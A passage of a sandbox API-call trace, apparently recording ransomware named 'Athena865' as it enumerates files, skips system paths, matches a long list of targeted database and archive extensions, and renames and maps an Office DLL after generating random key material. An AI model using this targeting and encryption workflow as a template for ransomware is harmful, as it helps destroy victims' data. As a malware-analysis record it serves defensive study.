(lpString1="DLL", lpString2="qvd") returned -1 [0111.868] lstrlenW (lpString="rbf") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0111.868] lstrlenW (lpString="rctd") returned 4 [0111.868] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0111.868] lstrlenW (lpString="rod") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0111.868] lstrlenW (lpString="rodx") returned 4 [0111.868] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0111.868] lstrlenW (lpString="rpd") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0111.868] lstrlenW (lpString="rsd") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0111.868] lstrlenW (lpString="sas7bdat") returned 8 [0111.869] lstrcmpiW (lpString1="EDAO.DLL", lpString2="sas7bdat") returned -1 [0111.869] lstrlenW (lpString="sbf") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0111.869] lstrlenW (lpString="scx") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0111.869] lstrlenW (lpString="sdb") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0111.869] lstrlenW (lpString="sdc") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0111.869] lstrlenW (lpString="sdf") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0111.869] lstrlenW (lpString="sis") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0111.869] lstrlenW (lpString="spq") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0111.869] lstrlenW (lpString="te") returned 2 [0111.869] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0111.869] lstrlenW (lpString="teacher") returned 7 [0111.869] lstrcmpiW (lpString1="DAO.DLL", lpString2="teacher") returned -1 [0111.869] lstrlenW (lpString="tmd") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0111.869] lstrlenW (lpString="tps") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0111.869] lstrlenW (lpString="trc") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0111.869] lstrlenW (lpString="trc") returned 3 [0111.869] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0111.869] lstrlenW (lpString="trm") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0111.870] lstrlenW (lpString="udb") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0111.870] lstrlenW (lpString="udl") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0111.870] lstrlenW (lpString="usr") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0111.870] lstrlenW (lpString="v12") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0111.870] lstrlenW (lpString="vis") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0111.870] lstrlenW (lpString="vpd") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0111.870] lstrlenW (lpString="vvv") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0111.870] lstrlenW (lpString="wdb") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0111.870] lstrlenW (lpString="wmdb") returned 4 [0111.870] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0111.870] lstrlenW (lpString="wrk") returned 3 [0111.870] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0111.870] lstrlenW (lpString="xdb") returned 3 [0111.871] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0111.871] lstrlenW (lpString="xld") returned 3 [0111.871] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0111.871] lstrlenW (lpString="xmlff") returned 5 [0111.871] lstrcmpiW (lpString1="O.DLL", lpString2="xmlff") returned -1 [0111.871] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.Athena865") returned 76 [0111.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.athena865"), dwFlags=0x1) returned 1 [0111.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.874] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=744888) returned 1 [0111.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0111.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.874] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.875] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.875] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.875] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb60c0, lpName=0x0) returned 0x154 [0111.877] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb60c0) returned 0x2d50000 [0111.909] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.910] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.910] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0111.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0111.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.911] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0111.917] CloseHandle (hObject=0x154) returned 1 [0111.917] CloseHandle (hObject=0x17c) returned 1 [0111.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0111.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.920] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0111.920] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.920] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.920] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".") returned 1 [0111.920] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="..") returned 1 [0111.920] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="windows") returned -1 [0111.920] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="bootmgr") returned -1 [0111.920] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="temp") returned -1 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="pagefile.sys") returned -1 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="boot") returned -1 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="ids.txt") returned -1 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="ntuser.dat") returned -1 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="perflogs") returned -1 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="MSBuild") returned -1 [0111.921] lstrlenW (lpString="ACEERR.DLL") returned 10 [0111.921] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEERR.DLL" | out: lpString1="ACEERR.DLL") returned="ACEERR.DLL" [0111.921] lstrlenW (lpString="ACEERR.DLL") returned 10 [0111.921] lstrlenW (lpString="Athena865") returned 9 [0111.921] lstrcmpiW (lpString1="CEERR.DLL", lpString2="Athena865") returned 1 [0111.921] lstrlenW (lpString=".dll") returned 4 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".dll") returned 1 [0111.921] lstrlenW (lpString=".lnk") returned 4 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".lnk") returned 1 [0111.921] lstrlenW (lpString=".ini") returned 4 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".ini") returned 1 [0111.921] lstrlenW (lpString=".sys") returned 4 [0111.921] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".sys") returned 1 [0111.921] lstrlenW (lpString="ACEERR.DLL") returned 10 [0111.921] lstrlenW (lpString="bak") returned 3 [0111.921] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0111.921] lstrlenW (lpString="ba_") returned 3 [0111.921] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0111.921] lstrlenW (lpString="dbb") returned 3 [0111.921] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0111.921] lstrlenW (lpString="vmdk") returned 4 [0111.921] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0111.921] lstrlenW (lpString="rar") returned 3 [0111.921] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0111.922] lstrlenW (lpString="zip") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0111.922] lstrlenW (lpString="tgz") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0111.922] lstrlenW (lpString="vbox") returned 4 [0111.922] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0111.922] lstrlenW (lpString="vdi") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0111.922] lstrlenW (lpString="vhd") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0111.922] lstrlenW (lpString="vhdx") returned 4 [0111.922] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0111.922] lstrlenW (lpString="avhd") returned 4 [0111.922] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0111.922] lstrlenW (lpString="db") returned 2 [0111.922] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0111.922] lstrlenW (lpString="db2") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0111.922] lstrlenW (lpString="db3") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0111.922] lstrlenW (lpString="dbf") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0111.922] lstrlenW (lpString="mdf") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0111.922] lstrlenW (lpString="mdb") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0111.922] lstrlenW (lpString="sql") returned 3 [0111.922] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0111.922] lstrlenW (lpString="sqlite") returned 6 [0111.922] lstrcmpiW (lpString1="RR.DLL", lpString2="sqlite") returned -1 [0111.923] lstrlenW (lpString="sqlite3") returned 7 [0111.923] lstrcmpiW (lpString1="ERR.DLL", lpString2="sqlite3") returned -1 [0111.923] lstrlenW (lpString="sqlitedb") returned 8 [0111.923] lstrcmpiW (lpString1="EERR.DLL", lpString2="sqlitedb") returned -1 [0111.923] lstrlenW (lpString="xml") returned 3 [0111.923] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0111.923] lstrlenW (lpString="$er") returned 3 [0111.923] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0111.923] lstrlenW (lpString="4dd") returned 3 [0111.923] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0111.923] lstrlenW (lpString="4dl") returned 3 [0111.923] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0111.923] lstrlenW (lpString="^^^") returned 3 [0111.923] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0111.923] lstrlenW (lpString="abs") returned 3 [0111.923] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0111.923] lstrlenW (lpString="abx") returned 3 [0111.923] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0111.923] lstrlenW (lpString="accdb") returned 5 [0111.923] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0111.923] lstrlenW (lpString="accdc") returned 5 [0111.923] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0111.923] lstrlenW (lpString="accde") returned 5 [0111.923] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0111.923] lstrlenW (lpString="accdr") returned 5 [0111.923] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0111.923] lstrlenW (lpString="accdt") returned 5 [0111.923] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0111.923] lstrlenW (lpString="accdw") returned 5 [0111.923] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0111.923] lstrlenW (lpString="accft") returned 5 [0111.924] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0111.924] lstrlenW (lpString="adb") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.924] lstrlenW (lpString="adb") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.924] lstrlenW (lpString="ade") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0111.924] lstrlenW (lpString="adf") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0111.924] lstrlenW (lpString="adn") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0111.924] lstrlenW (lpString="adp") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0111.924] lstrlenW (lpString="alf") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0111.924] lstrlenW (lpString="ask") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0111.924] lstrlenW (lpString="btr") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0111.924] lstrlenW (lpString="cat") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0111.924] lstrlenW (lpString="cdb") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0111.924] lstrlenW (lpString="ckp") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0111.924] lstrlenW (lpString="cma") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0111.924] lstrlenW (lpString="cpd") returned 3 [0111.924] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0111.924] lstrlenW (lpString="dacpac") returned 6 [0111.925] lstrcmpiW (lpString1="RR.DLL", lpString2="dacpac") returned 1 [0111.925] lstrlenW (lpString="dad") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0111.925] lstrlenW (lpString="dadiagrams") returned 10 [0111.925] lstrlenW (lpString="daschema") returned 8 [0111.925] lstrcmpiW (lpString1="EERR.DLL", lpString2="daschema") returned 1 [0111.925] lstrlenW (lpString="db-journal") returned 10 [0111.925] lstrlenW (lpString="db-shm") returned 6 [0111.925] lstrcmpiW (lpString1="RR.DLL", lpString2="db-shm") returned 1 [0111.925] lstrlenW (lpString="db-wal") returned 6 [0111.925] lstrcmpiW (lpString1="RR.DLL", lpString2="db-wal") returned 1 [0111.925] lstrlenW (lpString="dbc") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0111.925] lstrlenW (lpString="dbs") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0111.925] lstrlenW (lpString="dbt") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0111.925] lstrlenW (lpString="dbv") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0111.925] lstrlenW (lpString="dbx") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0111.925] lstrlenW (lpString="dcb") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0111.925] lstrlenW (lpString="dct") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0111.925] lstrlenW (lpString="dcx") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0111.925] lstrlenW (lpString="ddl") returned 3 [0111.925] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0111.925] lstrlenW (lpString="dlis") returned 4 [0111.925] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0111.926] lstrlenW (lpString="dp1") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0111.926] lstrlenW (lpString="dqy") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0111.926] lstrlenW (lpString="dsk") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0111.926] lstrlenW (lpString="dsn") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0111.926] lstrlenW (lpString="dtsx") returned 4 [0111.926] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0111.926] lstrlenW (lpString="dxl") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0111.926] lstrlenW (lpString="eco") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0111.926] lstrlenW (lpString="ecx") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0111.926] lstrlenW (lpString="edb") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0111.926] lstrlenW (lpString="epim") returned 4 [0111.926] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0111.926] lstrlenW (lpString="fcd") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0111.926] lstrlenW (lpString="fdb") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0111.926] lstrlenW (lpString="fic") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0111.926] lstrlenW (lpString="flexolibrary") returned 12 [0111.926] lstrlenW (lpString="fm5") returned 3 [0111.926] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0111.927] lstrlenW (lpString="fmp") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0111.927] lstrlenW (lpString="fmp12") returned 5 [0111.927] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0111.927] lstrlenW (lpString="fmpsl") returned 5 [0111.927] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0111.927] lstrlenW (lpString="fol") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0111.927] lstrlenW (lpString="fp3") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0111.927] lstrlenW (lpString="fp4") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0111.927] lstrlenW (lpString="fp5") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0111.927] lstrlenW (lpString="fp7") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0111.927] lstrlenW (lpString="fpt") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0111.927] lstrlenW (lpString="frm") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0111.927] lstrlenW (lpString="gdb") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0111.927] lstrlenW (lpString="gdb") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0111.927] lstrlenW (lpString="grdb") returned 4 [0111.927] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0111.927] lstrlenW (lpString="gwi") returned 3 [0111.927] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0111.927] lstrlenW (lpString="hdb") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0111.928] lstrlenW (lpString="his") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0111.928] lstrlenW (lpString="ib") returned 2 [0111.928] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0111.928] lstrlenW (lpString="idb") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0111.928] lstrlenW (lpString="ihx") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0111.928] lstrlenW (lpString="itdb") returned 4 [0111.928] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0111.928] lstrlenW (lpString="itw") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0111.928] lstrlenW (lpString="jet") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0111.928] lstrlenW (lpString="jtx") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0111.928] lstrlenW (lpString="kdb") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0111.928] lstrlenW (lpString="kexi") returned 4 [0111.928] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0111.928] lstrlenW (lpString="kexic") returned 5 [0111.928] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0111.928] lstrlenW (lpString="kexis") returned 5 [0111.928] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0111.928] lstrlenW (lpString="lgc") returned 3 [0111.928] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0111.928] lstrlenW (lpString="lwx") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0111.929] lstrlenW (lpString="maf") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0111.929] lstrlenW (lpString="maq") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0111.929] lstrlenW (lpString="mar") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0111.929] lstrlenW (lpString="marshal") returned 7 [0111.929] lstrcmpiW (lpString1="ERR.DLL", lpString2="marshal") returned -1 [0111.929] lstrlenW (lpString="mas") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0111.929] lstrlenW (lpString="mav") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0111.929] lstrlenW (lpString="maw") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0111.929] lstrlenW (lpString="mdbhtml") returned 7 [0111.929] lstrcmpiW (lpString1="ERR.DLL", lpString2="mdbhtml") returned -1 [0111.929] lstrlenW (lpString="mdn") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0111.929] lstrlenW (lpString="mdt") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0111.929] lstrlenW (lpString="mfd") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0111.929] lstrlenW (lpString="mpd") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0111.929] lstrlenW (lpString="mrg") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0111.929] lstrlenW (lpString="mud") returned 3 [0111.929] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0111.930] lstrlenW (lpString="mwb") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0111.930] lstrlenW (lpString="myd") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0111.930] lstrlenW (lpString="ndf") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0111.930] lstrlenW (lpString="nnt") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0111.930] lstrlenW (lpString="nrmlib") returned 6 [0111.930] lstrcmpiW (lpString1="RR.DLL", lpString2="nrmlib") returned 1 [0111.930] lstrlenW (lpString="ns2") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0111.930] lstrlenW (lpString="ns3") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0111.930] lstrlenW (lpString="ns4") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0111.930] lstrlenW (lpString="nsf") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0111.930] lstrlenW (lpString="nv") returned 2 [0111.930] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0111.930] lstrlenW (lpString="nv2") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0111.930] lstrlenW (lpString="nwdb") returned 4 [0111.930] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0111.930] lstrlenW (lpString="nyf") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0111.930] lstrlenW (lpString="odb") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0111.930] lstrlenW (lpString="odb") returned 3 [0111.930] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0111.931] lstrlenW (lpString="oqy") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0111.931] lstrlenW (lpString="ora") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0111.931] lstrlenW (lpString="orx") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0111.931] lstrlenW 